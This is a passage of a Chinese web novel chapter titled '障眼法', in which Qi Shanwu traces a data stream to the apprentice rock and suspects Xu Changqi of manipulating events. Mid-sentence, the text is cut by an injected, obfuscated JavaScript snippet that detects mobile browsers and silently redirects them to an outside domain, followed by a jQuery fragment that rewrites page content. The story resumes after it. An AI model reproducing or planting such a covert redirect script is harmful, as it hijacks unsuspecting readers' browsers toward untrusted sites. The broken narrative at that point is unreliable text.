107.障眼法

从自助妖吧出来之后秦子瑶消失了一段时间,祁山乌处于重度昏迷的情况当中,这段时间内,祁山乌身上的记忆有些错乱,恍惚之间她好像看到了一场非人的实验现场,那个现场当中好像确实有着几条蚀脑虫。


比实验室内的小,活性也稍微差些。


“对咯,只是还不知道为什么是现在才显出形来。上去,我再给你仔细扫扫,记住用你的意志力给我开权限。”学丞将自己的设备调设完,这一次他的代码畅通无阻,没有受到任何阻拦,“是不是还有一只小蛟呢?”


“跟它有关?”祁山乌想了想,从祁邢那里将夹缝里的那只小蛟拿了出来,交给学丞。


学丞一并将这只小蛟给一起扫了,带有解释的图像仅仅只花了三分钟便全部展现在一旁的面板上,他率先抬起头瞄了一眼,眼里闪过一丝兴奋,嘴巴里嗫嚅开口,说道:“果然是这样。”


“你不会是要告诉我说,我多出来的这颗心脏,是这只小蛟的吧?”祁山乌坐起来,眼睛盯着面前的面板。


“没错,这第二颗心脏呢,在我们的研究理论上来说,属于残心。”学丞将一旁标注的文字给祁山乌圈出来。


“残心?”


“残体之心。”学丞手上划动着,将两颗心脏连在一起的地方,通过虚拟面板解剖开,把横截面放给祁山乌看,“残体之心在学派内有两种定义,一个是字面意思,说这颗伴生在你原先心脏旁边的心脏只是一个障眼泡。”


很显然,祁山乌现在面前看到的这个解剖图当中,伴生心脏的活性甚至强过她原先的心脏。


“你也看到了,字面意思完全不符。那么就是另一个学派的定义,说是它的载体因为把这颗心脏给了别人而变得残破或者缺失。”


“就像这只小蛟一样?”祁山乌将小蛟从学丞的手里收回来,肉眼可见地看到它确实正在慢慢失去生机。


于是准备将其再次放到祁邢那里去,结果下一幕,祁山乌瞪着眼睛,看着自己手里的小蛟逐渐褪去最基本的动物状态,直接变成一块儿废铁。蓝色的数据流背着她的目光,顺着她的手背迅速溜走,消失的前一刻,被魁魁快准狠地拦下一截儿衔在嘴里,吞入腹中,被祁山乌抓了个正着。


祁山乌握着魁魁的嘴巴,将它的嘴巴掰开,把那一小串数据流抓了出来,抬头再次看向学丞的目光变了变,“这是什么情况?”


祁山乌不是不知道经过刚刚那一轮检查之后,这个数据流很有可能是学丞刚刚检查时所用的代码。但是不确实是不是她看得多了,直觉告诉她,这串数据流已经留在这只小蛟身上很久了。


“数据流啊,怎么了?”学丞大大方方地回视过来,反倒让祁山乌心里的想法开始产生了些许不确定。


祁山乌反问:“谁的?”


“这个我倒不知道,反正不是我的。”学丞回她。


看着祁山乌朝他投来怀疑的目光,学丞有口难辨,无奈地笑了笑,“真不是我的。”


“怎么证明?”祁山乌看了看他的眼镜,倒是相信这条小蛟身体里的蓝色代码不是学丞的,但她想看看他是怎么分辨出来的,明明长得一模一样。毕竟学丞说的是这个不是他的,而不是说这条蛟体内的数据流不是他放的。


“这倒是好证明。”学丞从祁山乌的手里结果那一小截儿,“妖能这东西除了魂虱那玩意儿,其他都是认主的。”


学丞一边说着,一边给这一小截儿注入一点儿支撑性的能量,确保它不会半路消失,便把它放到地上,“据我所知,本联邦会用我这蓝色代码的就只有我和我徒弟……”


不对,还有老徐。这句话祁山乌没说,只是静静地看着学丞的操作。


学丞一松手,数据流立马就像是迷途的人找到了回家的路,蹭地一下直接窜了出去,他努了努下巴两手一摊,“说了不是我吧,走,我带你去找找我那徒弟问问,这到底是什么一情况!”


数据流不负两望,老老实实地从一条门缝钻进去。学丞带着祁山乌打开门的时候,正好看到那条数据流顺着rock的脸颊,钻进了他脸上的插孔内。


“……老师。”rock看起来还有点儿懵,目光一接触到学丞身后的祁山乌时,眼里闪过一丝心虚。


祁山乌眯了眯眼,精准捕捉到了这点儿异常。


学丞看着他脸上的那两道印记还有些泛红,甚至仔细瞧过去能看到里面有点儿破皮,他不禁皱了皱眉,开口:“好几天没见你出过这间实验室,你这是在干嘛呢?”


“我……。”


祁山乌看着rock一边支支吾吾,一边时不时将目光投向自己,心里对这件事情大致有了一个了解,于是抬手拍了拍学丞之后,兀自找了个地方坐下,大大咧咧地对这位学丞徒弟展露了一个无害的笑脸,表明了要在这个地方听他解释。


“别支支吾吾的,有话说话,她不是别人,是当事人!”学丞叹了一声,也找了个位置坐下,两个突然闯进来的不速之客,此刻排排坐在一起,齐齐地将目光投向rock。


rock僵持了一会儿,随即败下阵来,“是齐副官命我给这些3719号狱员的私人夹缝加了一个实验品……”


听着他将整件事情的经过一一说清,祁山乌偏头和学丞对视了一眼,两人一下心知肚明,“所以,其实是仇中将让你做的?”但是这个有什么好处吗?


因为就学丞给她的解释来说,她的两颗心脏并不是在那只血蛟出现的时候才有,而是和那蚀脑虫相关。


可是话又说回来,如果仇非晔本来就知道她有两颗心脏呢?会不会借着某个契机故意把她再次牵引到那个繁育基地的中心去?


祁山乌想了一会儿,这件事情实在是超出她的见识,于是对着学丞给过来的探究眼神摇了摇头。


“徒弟啊,那仇非晔除了让你把蚀脑虫和小蛟放进去之外,还有别的吗?”


rock仔细想了一番,坚定地摇了摇头,“没有其他的了,只有这些。”


事情问完,祁山乌往学丞那里新复制完扫描图之后准备离开,学丞突然叫住她,“这事儿不止这么简单,要是想要这些东西大可以把我叫过去,哪怕我和那仇非晔没那么对付,但齐韩那小子又不是没威胁我做过事!为什么要叫我徒弟呢?”


祁山乌:“我也这么有点儿蹊跷。”rock这一身代码数据流是从学丞那学来的,仇非晔既然要在夹缝里做文章,那肯定得选稳妥儿的人来做这个事情。除非仇非晔不想让她活着出来,却不管是从哪个角度来看,仇非晔都希望她能出外野,而且是以非常优秀的姿态出外野,那这一点便也排除在外。


而除了这些可能以外,那就只指向一种可能性了。祁山乌心里合计了一下。


回到宿舍,佘竹枭还是一贯的模样,在床上摆弄她的虚影棋子。


然而这次,祁山乌只是扫了一眼便定在原地,眼睛直盯着在她手下翻飞的立体图——


佘竹枭在用她的妖能将美考夹缝内的那个实验室和复盘中的石鱼村景象按照1:5000的比例重构了出来,摆在床上。


祁山乌来了点儿兴趣,走到她的床边,抱着双手靠在她的床栏边,专注地看着她的动作。


“能看出什么吗?”佘竹枭手下不停,连眼睛都没抬一下。面前的缩影景象内,有一部分的东西颜色渐渐产生变化,逐渐由青向蓝过渡。


祁山乌勾了勾唇,说:“蚀脑虫和那条小……哦不,幼蛟的颜色倒是很分明啊?”但佘竹枭是怎么知道的?


“有想法吗?对于仇


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224857|157000||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


非晔让学医生那徒弟去搞这东西的想法。”说到这,佘竹枭倒也不拐弯了,抬起眼笑着看回来。


“所以你是怎么知道的?”祁山乌的眼睛亮了亮,虽然她原本就打算跟这几个人聊聊这件事情,毕竟这可是她妖形主动选择的人,“学医生没绕出来,是因为在他的视角,会用代码数据流的人只有他和徒弟。但在我的角度来说,可是还有一个老徐呢。”


祁山乌靠累了,直接一屁股坐上佘竹枭的床,继续说:“结合夹缝里的那只蜉蝣精,你绝对想不到,那棵古树的根系居然和蜉蝣精是一个样子!所以我猜,徐昌启就是那所谓的蜉蝣精,而他到夹缝里面应该要办点儿事,这事儿或许是冲我来的,或许也跟纪南阳有关,总之需要用上蚀脑虫和那只幼蛟。”


祁山乌分析地头头是道,“同时,放眼整个联邦,能够用妖能捏活物的,目前来看估计也就那个代码数据流了。所以啊,rock不过就是个障眼法,背后实际在操作的人,是那徐昌启。”


“啪啪啪”三声响起,佘竹枭真的想为祁山乌点个大拇指以表敬意,“真不愧是你,不过,再怎么障眼法,rock好歹是学丞的徒弟,这层纸很难不戳破吧?”


“我也想过,但是rock和徐昌启长得几乎一模一样不说,脸上印记都一样,这是不是有点儿太巧合了?”祁山乌脑子里迅速浮现起她和秦子瑶两人的面孔,哪怕最开始她也觉得有点儿过分的像,却还是不如这俩的异常,简直就像是一个模子里刻出来的,所以,“所以根据之前rock在我面前表现出来的模样,说不定人家两个直接正有鬼呢,而且这个鬼,仇非晔说不定还知道。”


“有道理,所以接下来你打算怎么办?”佘竹枭抛出了一个答案显而易见的问题。


祁山乌笑了笑,“当然是,有线索一起分享咯!”只是不知道这个被她想出来的东西,会不会是被人故意牵着她这么想的。


第二天,所有人复盘完之后,短暂休息之间,祁山乌和佘竹枭将这件事情告诉了所有人,包括盛依依在内。所有人一致认为,不管是祁山乌有在京外派出所工作和徐昌启合作的优势想到了这件事情,还是说被人故意牵着她这么想的,都无所谓。总之走一步看一步,反正就目前来看,祁山乌的状态似乎不仅没有被影响,反倒是因为这个奇遇而被赋能。既然如此,那便先接着呗。


几个人准备往食堂方向走去的时候,祁山乌的余光里突然乍现一丝红色,她偏头看去,出声提醒道:“纪纯,你的手?!”


“?”不叫她还不知道,这一低头纪纯整个人都蒙了,左手食指突然卡着第一节的骨头连接处割开一道口子,眨眼的时间里,血已经流满整个指节。不知道想到了什么,纪纯的神色突然有些慌乱,扔下一句话便感觉离开,“没事,我去找医生包扎一下,你们先走。”


祁山乌蹙了蹙眉,感觉她这状态不太对,于是也找了个理由离开队伍,跟着她离开的方向追了过去。


到地方时,哪里是什么狱医院,分别就是培训营内的一个偏僻墙角窝里。


祁山乌顺着纪纯的方向朝拐角处走去,刚走出两步,前方突然传来一句女声,是纪纯在说话,声音听起来莫名冷,“你手怎么了?”


她对面的明显是个男的,音色更冷:“多谢纪大小姐关心,不过就是练刀的时候一不小心割了一下而已,没什么大事儿。”


“我并不关心你会出什么事儿,只是我得跟你强调一句,你如果不保护好你的身体,就别怪我用同样的方式对你。”


“是吗?纪大小姐大可以随便试,我随时奉陪。”


听了几句话,祁山乌也听出了对面的人是谁。只是纪纯和辰琛这下又是玩得哪一出?一个人受伤,对面那个身体上也会出现同样的伤口吗?